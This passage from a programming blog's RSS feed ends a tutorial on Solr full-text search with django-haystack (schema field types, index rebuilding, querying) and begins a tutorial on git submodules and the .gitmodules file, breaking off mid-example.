indexed=&amp;#34;true&amp;#34; stored=&amp;#34;true&amp;#34; multiValued=&amp;#34;false&amp;#34;/&amp;gt; --&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;field&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;name=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;django_ct&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;type=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;text_general&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;indexed=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;true&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;stored=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;true&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;multiValued=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;false&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;/&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This will prevent an error where the search result is treated as a list instead of as text.&lt;/p&gt;&#xA;&lt;p&gt;Another change, before the closing of the last schema tag we add the following content&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-xml&#34; data-lang=&#34;xml&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&amp;lt;!-- START Manually inserted snippet --&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&amp;lt;!-- Lines required to handle floats, long points, date points, etc. --&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;fieldType&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;name=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;pdate&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;class=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;solr.DatePointField&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;docValues=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;true&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;/&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;fieldType&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;name=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;pdates&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;class=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;solr.DatePointField&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;docValues=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;true&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;multiValued=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;true&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;/&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;fieldType&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;name=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;pdouble&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;class=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;solr.DoublePointField&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;docValues=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;true&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;/&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;fieldType&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;name=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;pdoubles&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;class=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;solr.DoublePointField&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;docValues=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;true&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;multiValued=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;true&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;/&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;fieldType&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;name=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;pfloat&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;class=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;solr.FloatPointField&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;docValues=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;true&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;/&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;fieldType&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;name=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;pfloats&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;class=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;solr.FloatPointField&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;docValues=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;true&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;multiValued=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;true&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;/&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;fieldType&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;name=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;pint&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;class=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;solr.IntPointField&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;docValues=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;true&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;/&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;fieldType&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;name=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;pints&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;class=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;solr.IntPointField&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;docValues=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;true&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;multiValued=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;true&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;/&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;fieldType&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;name=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;plong&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;class=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;solr.LongPointField&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;docValues=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;true&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;/&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;fieldType&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;name=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;plongs&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;class=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;solr.LongPointField&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;docValues=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;true&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;multiValued=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;true&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;/&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&amp;lt;!-- Manually inserted snippet END --&amp;gt;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This will prevent errors related to missing pdate, pdates, plongs and other fields.&lt;/p&gt;&#xA;&lt;p&gt;The last change, move the &lt;em&gt;currency.xml&lt;/em&gt; file in the solr examples to our configuration folder.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-xml&#34; data-lang=&#34;xml&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;mv &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;solr-x.y.z&amp;gt;&lt;/span&gt;/example/example-DIH/solr/solr/conf/currency.xml &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;solr-x.y.z&amp;gt;&lt;/span&gt;/server/solr/&lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;instance_directory&amp;gt;&lt;/span&gt;/conf&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This will avoid an error due to the lack of fields for currency management.&lt;/p&gt;&#xA;&lt;h3 id=&#34;generate-an-index-in-solr&#34;&gt;Generate an index in solr&lt;/h3&gt;&#xA;&lt;p&gt;Before we continue, we need to reload our kernel in the Solr admin panel so that it recognizes the changes we made to the configuration.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/searches-with-solr-with-django-haystack/images/solr-reload-button.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/searches-with-solr-with-django-haystack/images/solr-reload-button.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Reload core in solr&#34; width=&#34;975&#34; height=&#34;584&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Now it is time to generate an index with the &lt;em&gt;rebuild_index&lt;/em&gt; command provided by &lt;em&gt;django-haystack&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;python manage.py rebuild_index&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;WARNING: This will irreparably remove EVERYTHING from your search index in connection &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;default&amp;#39;&lt;/span&gt;.&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Your choices after this are to restore from backups or rebuild via the &lt;span style=&#34;color:#5af78e&#34;&gt;`&lt;/span&gt;rebuild_index&lt;span style=&#34;color:#5af78e&#34;&gt;`&lt;/span&gt; command.&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Are you sure you wish to &lt;span style=&#34;color:#ff6ac1&#34;&gt;continue&lt;/span&gt;? &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;y/N&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt; y&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If everything went well we will have all our queryset indexed and we will be able to perform a query in the query section of our kernel, in the administration panel.&lt;/p&gt;&#xA;&lt;p&gt;The query will return all results in JSON format if we do not specify anything.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/django/searches-with-solr-with-django-haystack/images/solr-query-index.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/django/searches-with-solr-with-django-haystack/images/solr-query-index.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Reload core in solr&#34; width=&#34;1115&#34; height=&#34;964&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;Notice how the text field is filled with the content of our django template.&lt;/p&gt;&#xA;&lt;h2 id=&#34;text-search-with-haystack-and-solr-in-django&#34;&gt;Text search with haystack and solr in Django&lt;/h2&gt;&#xA;&lt;p&gt;With the index formed and solr running, we can perform queries directly to solr using haystack and Python code, either to return them in JSON format or to generate HTML with Django&amp;rsquo;s native template system.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; haystack.query &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; SearchQuerySet&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; .models &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Videogame&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;vista&lt;/span&gt;(request):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    results &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; SearchQuerySet()&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;models(Videogame)&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;filter(content&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;&amp;lt;query text&amp;gt;&amp;#39;&lt;/span&gt;)&lt;span style=&#34;color:#ff6ac1&#34;&gt;.&lt;/span&gt;load_all()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# ...&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;With the above I will end this post, probably in the next post I will talk a little more about the advanced search functions offered by django haystack.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;Previously I explained you how to implement &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/django/full-text-search-and-searches-with-django-and-postgres/&#34;&gt;full text search in Django&lt;/a&gt;&#xA; and &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/django/trigrams-and-advanced-searches-with-django-and-postgres/&#34;&gt;trigrams-and-search-rank&lt;/a&gt;&#xA; using Postgres. Solr comes to offer us something better, a robust, stable and feature-rich search engine, ready to use, in exchange for a little more complexity, more dependencies and having to include Java (yes, Java) in our project.&lt;/p&gt;&#xA;&lt;h2 id=&#34;how-does-solr-work&#34;&gt;How does Solr work?&lt;/h2&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;nc&#34;&gt;&#xA;  &lt;a rel=&#34;sponsored nofollow&#34;href=&#34;https://m.do.co/c/a22240ebb8e7&#34; target=&#34;_top&#34; id=&#34;890711&#34;&gt;&#xA;  &lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1765910574/coffee-bytes/Digital-ocean-banner_tuov4m.png&#34; border=&#34;0&#34; alt=&#34;&#34; class=&#34;banner&#34;/&gt;&lt;/a&gt;&#xA;  &lt;img height=&#34;0&#34; width=&#34;0&#34; src=&#34;https://m.do.co/c/a22240ebb8e7#?&#34; style=&#34;position:absolute;visibility:hidden;&#34; border=&#34;0&#34; /&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .nc {&#xA;    margin: 2rem 0;&#xA;  }&#xA;  .banner{&#xA;    width: 728px;&#xA;    height: 90px;&#xA;  }&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;Internally Solr uses Lucene, which is the search engine that is in charge of generating an index to make the queries and all the options related to the searches, Solr adds some extra functions and gives us a friendly interface to work with. From now on I will refer to the union of Lucene and Solr only as Solr.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Understand How Git Submodules Works and its Workflow</title>
      <link>https://coffeebytes.dev/en/git/understand-how-git-submodules-works-and-its-workflow/</link>
      <pubDate>Wed, 18 May 2022 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/en/git/understand-how-git-submodules-works-and-its-workflow/</guid>
      
      <category>git</category>
      
      <category>linux</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;A git submodule is a record within a git repository that points to a commit in an external repository. They are handled exactly as you would with a repository, they even have a &lt;em&gt;.git&lt;/em&gt; file that points to the location where a changelog is kept.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1745887883/coffee-bytes/gitSubmodulesSchema_nkmmd3.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1745887883/coffee-bytes/gitSubmodulesSchema_nkmmd3.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Simplified outline of git submodules&#34; width=&#34;744&#34; height=&#34;576&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Simplified outline of git submodules&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;git submodules are useful when we want to incorporate third-party code into a project and at the same time we want to keep strict control of the updates of that code through git. For example:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;A shared repository for a theme or styles (As in SSG, Hugo).&lt;/li&gt;&#xA;&lt;li&gt;A third-party library.&lt;/li&gt;&#xA;&lt;li&gt;A repository that you want to use to create a &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/docker/the-most-useful-and-basic-docker-commands/&#34;&gt;Dockerfile in Docker&lt;/a&gt;&#xA;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;On the other hand, &lt;strong&gt;using git submodules makes repository management quite complicated if you are not careful or if you work with many submodules&lt;/strong&gt;, you have to pay attention to the context you are in and remember all the time the repository you are in.&lt;/p&gt;&#xA;&lt;h2 id=&#34;adding-a-git-submodule-to-a-git-repository&#34;&gt;Adding a git submodule to a git repository&lt;/h2&gt;&#xA;&lt;p&gt;To start using a submodule in an existing repository (our main repository) we use the command &lt;em&gt;git submodule add&lt;/em&gt;, placing first the url of the submodule and then the folder where we want the submodule to be located.&lt;/p&gt;&#xA;&lt;p&gt;If the directory does not exist it will be created.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;git submodule add &amp;lt;url&amp;gt; &amp;lt;destination&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The above command will copy the url &lt;code&gt;&amp;lt;url&amp;gt;&lt;/code&gt; code into the specified &lt;code&gt;&amp;lt;destination&amp;gt;&lt;/code&gt; directory.&lt;/p&gt;&#xA;&lt;h3 id=&#34;structure-of-a-git-submodule&#34;&gt;Structure of a git submodule&lt;/h3&gt;&#xA;&lt;p&gt;After adding a submodule to a repository a new file (not a directory) named &lt;em&gt;.git&lt;/em&gt; will be created inside the submodule folder of our repository.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;.&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;├── .gitignore&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;├── .gitmodules&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;├── &amp;lt;destination&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;│   ├── .git&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;│   ├── .gitignore&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;│   ├── app&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;│   │   ├── files.js&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Depending on the repository you choose as a submodule, you will also see its own &lt;em&gt;.gitignore&lt;/em&gt; file.&lt;/p&gt;&#xA;&lt;h3 id=&#34;the-gitmodules-file&#34;&gt;The .gitmodules file&lt;/h3&gt;&#xA;&lt;p&gt;In addition to copying the code from the remote repository into the target folder, git will create a &lt;em&gt;.gitmodules&lt;/em&gt; file in the root of our main repository. This file stores the references to the submodule(s) of our repository.&lt;/p&gt;&#xA;&lt;p&gt;Each of these submodules specifies its path, relative to the repository root, the url and the branch (optional).&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;submodule &amp;lt;destination&amp;gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff5c57&#34;&gt;path&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &amp;lt;destination&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff5c57&#34;&gt;url&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &amp;lt;repository-url&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;branch&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &amp;lt;branch&amp;gt;&lt;span 